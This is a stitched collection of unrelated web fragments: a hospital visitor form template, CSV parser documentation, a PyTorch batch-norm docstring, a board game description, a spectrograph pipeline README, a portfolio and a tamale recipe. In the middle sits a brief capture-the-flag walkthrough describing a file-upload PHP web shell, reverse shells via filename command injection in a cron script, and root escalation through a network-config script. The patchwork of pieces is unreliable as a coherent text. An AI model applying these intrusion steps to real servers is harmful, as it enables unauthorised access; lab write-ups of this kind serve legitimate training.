Mouna Mousselem
Dabakh Fall


Adding Patient To Visitor
Search For Patient
Name Of patient
This patient is not in the hospital
Relation
the parent
the mother
the uncle
the Brother
the sister
the cousin
Add
{{contact.name}}
Create


Type Definitions
Definition
Data structure produced by the parser (per values-headers found).
Properties:
| Name | Type | Description |
|---|---|---|
headers |
Array.<string>
|
can be empty if no headers. |
hlength |
int
|
number of headers. |
values |
Array.<any>
|
can be empty if no values. |
vlength |
int
|
number of values (rows). |
Type:
-
Object
Options
Options to be configured in CSV.
By default:
const opts = {
fail: function(m){
console.log(m);
return {
fail: m,
};
},
trim: true,
trimEscaped: false,
types: false,
headers: true,
firstLineHeader: false,
delimiter: ',',
escape: '"',
comment: '#',
cast: false,
row: false,
};
If the cast function receives true
it casts values that match the regexp /^[-+]?[\d.]+$/
to numbers. Those that do not match are not casted, so, they are considered strings.
The option firstLineHeader
only works if headers
is true.
The option headers
only works if types
is false (because types needs headers always).
The cast function receives this parameters:
value
(any
): the value (after the trimming, if applicable)isHeader
(bool
): true if it is a header or nottype
(string
): type of the row (receives an empty string''
if types are not used)column
(int
): the column index starting from 0 (the first)row
(int
): the row index starting from 0 (the first).
And the value returned is inserted as the column value.
function cast(value, isHeader, type, column, row){
// the return value is used for this column
}
The row function is not called for the headers and it receives this parameters:
value
(any[]
): array of valuestype
(string
): type of the row (receives''
if no types)definition
(Definition{}
): the global object with definitions (headers) and values so farrow
(int
): the row index starting from 0 (the first)
And if false
is returned, the row is not inserted in values
.
function row(value, type, definition, row){
// if false is returned, the row is omitted
}
Properties:
| Name | Type | Description |
|---|---|---|
fail |
function
|
function to fail (error is capturable). |
trim |
boolean
|
trim space in value (headers are always trimmed). |
trimEscaped |
boolean
|
trim s |
trimEscaped |
boolean
|
trim space in those escaped values (eg. " a " to "a"). |
types |
boolean
|
use types (allows multiple definitions per string). |
headers |
boolean
|
you can omit headers when used with no types (flexible values). |
firstLineHeader |
boolean
|
headers are in the first not empty line (and not commented). |
delimiter |
char
|
column character delimiter. |
escape |
char
|
column escape character. |
comment |
char
|
comment char (omits the line). |
cast |
boolean
|
function
|
cast function for every value (by default false: no casting). |
row |
boolean
|
function
|
row function for every row values. |
Type:
-
Object


Googling, Python, Scraping, Critical Thinking, Analytics, Communication, Presentation, Creativity
Predictive analysis, Data cleaning, ETL, NLP, Statistics, Collaboration, SQL, Data Visualization, Git, AWS
Googling, Python, Scraping, Critical Thinking, Analytics, Communication, Presentation, Creativity
Predictive analysis, Data cleaning, ETL, NLP, Statistics, Collaboration, SQL, Data Visualization, Git, AWS


SynchronizedBatchNorm2d
(num_features
, eps
=1e-05
, momentum
=0.1
, affine
=True
) :: _SynchronizedBatchNorm
Applies Batch Normalization over a 4d input that is seen as a mini-batch of 3d inputs
.. math::
y = \frac{x - mean[x]}{ \sqrt{Var[x] + \epsilon}} * gamma + beta
This module differs from the built-in PyTorch BatchNorm2d as the mean and
standard-deviation are reduced across all devices during training.
For example, when one uses nn.DataParallel
to wrap the network during
training, PyTorch's implementation normalize the tensor on each device using
the statistics only on that device, which accelerated the computation and
is also easy to implement, but the statistics might be inaccurate.
Instead, in this synchronized version, the statistics will be computed
over all training samples distributed on multiple devices.
Note that, for one-GPU or CPU-only case, this module behaves exactly same
as the built-in PyTorch implementation.
The mean and standard-deviation are calculated per-dimension over
the mini-batches and gamma and beta are learnable parameter vectors
of size C (where C is the input size).
During training, this layer keeps a running estimate of its computed mean
and variance. The running sum is kept with a default momentum of 0.1.
During evaluation, this running mean/variance is used for normalization.
Because the BatchNorm is done over the C
dimension, computing statistics
on (N, H, W)
slices, it's common terminology to call this Spatial BatchNorm
Args:
num_features: num_features from an expected input of
size batch_size x num_features x height x width
eps: a value added to the denominator for numerical stability.
Default: 1e-5
momentum: the value used for the running_mean and running_var
computation. Default: 0.1
affine: a boolean value that when set to True
, gives the layer learnable
affine parameters. Default: True
Shape:
- Input: :math:`(N, C, H, W)`
- Output: :math:`(N, C, H, W)` (same shape as input)
Examples:
>>> # With Learnable Parameters
>>> m = SynchronizedBatchNorm2d(100)
>>> # Without Learnable Parameters
>>> m = SynchronizedBatchNorm2d(100, affine=False)
>>> input = torch.autograd.Variable(torch.randn(20, 100, 35, 45))
>>> output = m(input)


On port 80 there is a webserver, running gobuster we find /backup. Download the backup.tar. See the source code, but also the filenames of some of the web apps functionallity. On upload.php, we can upload an image($validext = array(‘.jpg’, ‘.png’, ‘.gif’, ‘.jpeg’);) which we can view it later on photos.php. We can intercept the connection with burp and upload a valid image, before letting the request go through the webserver we add a simple php rce script code at the end of the body, also we change the filename to imagename.php .jpg Visit the upload image at /upload/imagename, you see the code but not the image, now use ?cmd=$urlencodedrevershellcommand to get a shell.
User: Inside the guly home folder there is a script called check_attack.php which runs every 3 minutes(based on crontab.guly file inside the same dir). This script checks for bad filenames uploaded at /uploads/. We can create a file with ;$revshell, and get reverse shell as guly. I can read user.txt now.
Root: Running linenum.sh it finds a shell script located at /usr/local/sbin/changename.sh, which script asks us about network config information and writes them to a file. We cannot use ; or a special character like $() && &, in order to inject code. I create a script with code for reverse shell and save it to /tmp/, On every question asked by the script I give it bash /tmp/revshell Ps: . not allowed. And get reverse shell as root.
Lessons Learned: ~Regex is always usefull. ~Be aware of what file types you allow.


Copyright (c) 2001 Claude Chaunier and Joćo Pedro Neto
Claude had an idea of a pivot moving after seeing SCALUS pivot scaling concept. After some discussions with the abstract games community, we designed a game based on what Claude named by Twirls. A Twirl is a kind of cooperative move. An isolated stone is not able move, it always needs the 'help' of another one, in order to move through the abstract board where the game flows. Of course, the game was also inspired by the Lines of Action abstract game, and that reflects on the game's name!
TWIRLS OF ACTION is played on a 9x9 or 8x8 Go board. The initial setups follow:
|
|
| Some
basic Twirls
Stone D8 moved to D5 using A5 as a Pivot. Then White moved his A6 stone using C8 as a Pivot. Now, Stone C8 can go to C4 using E6. The D5 stone does not interfere, since there are no restrictions on the path between the Pivot and the destiny cell (check the Twirl definition).
|
| Winning Restrictions...
White does not won yet! Despite the fact that all White stones are connected, stone F4 is adjacent to 5 friendly stones. |


Welcome to Goodman Pipelines’s documentation!¶
Goodman High Throughput Spectrograph¶
WARNING This is the first release of this pipeline, although we have thoroughly tested it there might still be bugs. Please let me know by an e-mail to storres [at] ctio noao edu.
The Goodman High Throughput Spectrograph is an imaging spectrograph, if you wish to know more about the instrument please check the SOAR website
What is contained in this package?¶
This repository contains tools for spectroscopy, but after the data is reduced, i.e. bias and flat corrected, for that part please use David Sanmartim’s github repository.
This package have the following capabilities.
- Identify targets in images
- Trace the target
- Extract the target with background subtraction
- Find the wavelength Solution (Requires User Input)
- Linearize data
- Write wavelength solution to a FITS header
- Create a new file for the wavelength calibrated 1D spectrum
How to install it?¶
Either clone or download this code. If you decide to clone it, just do:
git clone git@github.com:simontorres/goodman.git
Or you can simply go and click here for download a zip file with all the script files.
Requirements¶
This software was developed on Python 2.7, use the requirements.txt
file to install all dependencies.
sudo -H pip2.7 install -r requirements.txt
How to use it?¶
To get a list of the possible arguments do:
/path/to/this/repo/redspec.py --help
The simplest way of running this pipeline is to go to your data folder,
already processed with
goodman_ccdreduction
and execute redspec.py
/path/to/this/repo/redspec.py
Will run the following defaults:
- Observing Mode 0: One solution applied to all night
- Interactive Mode True
- Data Path ./
- Destination folder for processed data ./
- Search Pattern fzh_
- Output prefix g
- Reference Files Path [/path/to/this/repo/]**refdata/**
- Plots Enabled False
- Reference Lamp None


{% extends "home/base.html" %} {% load static %} {% load static %} {% block content %}
The URL you specified cannot be accessed after closing the corresponding submission.
If you believe this is an error on our end, please do not hesitate to contact us on<EMAIL_ADDRESS>{% endblock %}


Do you want to re-record the sequence?
Do you want to delete the {{sequence.name}}?
This removes the Sequence and all of its recorded Actions.


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Bootstrap
PHP
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JavaScript
JQuery
Never offer me wordpress etc job!
RushRush kills creativity.Slow down.
Other's WorkWho loves to do others' work anyway?

Who doesn't love to play either!
My LappyFor coding and designing.
Data VisualizationWithout visualization , data is nothing
MyselfSometimes I Love myself !
abhishekmani.mani@gmail.com


Preparing the hogao and marinading the meats the night before guarantees you a tasty tamale.
Use only 1/4 of the quantity describe into the ingredients list for the marinade.
Combine chop green onions, minced garlic, ground cumin and the other seasoning.
Rub mixture all over the beef, chicken and pork.
Place meat in separate plastic baggies to marinate in the refrigerator overnight.
The “hogao” is a kind of stir-fry.
Use the rest (3/4) of the quantity describe into the ingredients list for the marinade to make the hogao.
Combine chopped tomatoes, chopped green onions, minced garlic, ground cumin, seasoning, olive oil and salt in a skillet and saute until everything is soft and tender,
kind of like a mush.
Cool and refrigerate it until everything is ready to start assembling the tamales.


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